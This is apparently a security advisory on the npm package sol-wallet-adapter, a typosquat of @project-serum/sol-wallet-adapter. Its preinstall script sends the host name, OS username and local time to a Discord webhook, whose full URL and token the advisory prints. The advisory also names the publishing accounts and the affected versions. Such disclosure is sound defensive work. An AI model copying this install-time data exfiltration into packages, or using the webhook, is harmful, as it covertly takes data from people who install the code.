Summary
Malicious code in sol-wallet-adapter (npm)
Details
sol-wallet-adapter takes the unscoped name of @project-serum/sol-wallet-adapter and has no functional code. Its preinstall script runs `node preinstall.js` on npm install, which POSTs the machine's hostname, the OS username and the local time to the Discord webhook `https://canary.discord.com/api/webhooks/1566232728179843243/pM5rDIrCRrEpQRbA7ibaiQk1XOQlIftmBacA5s8jD8NvXn5W-rS832DOWHQS-G-j3N6U` as "PC Notifier". Versions 1.0.0 and 1.0.1 were published on 2026-11-01 by the npm account cutekitten05; after they were removed, the account bigdevin55 re-created the name and published 1.0.7 with the same script on 2026-11-02, alongside contracts-upgradeable.
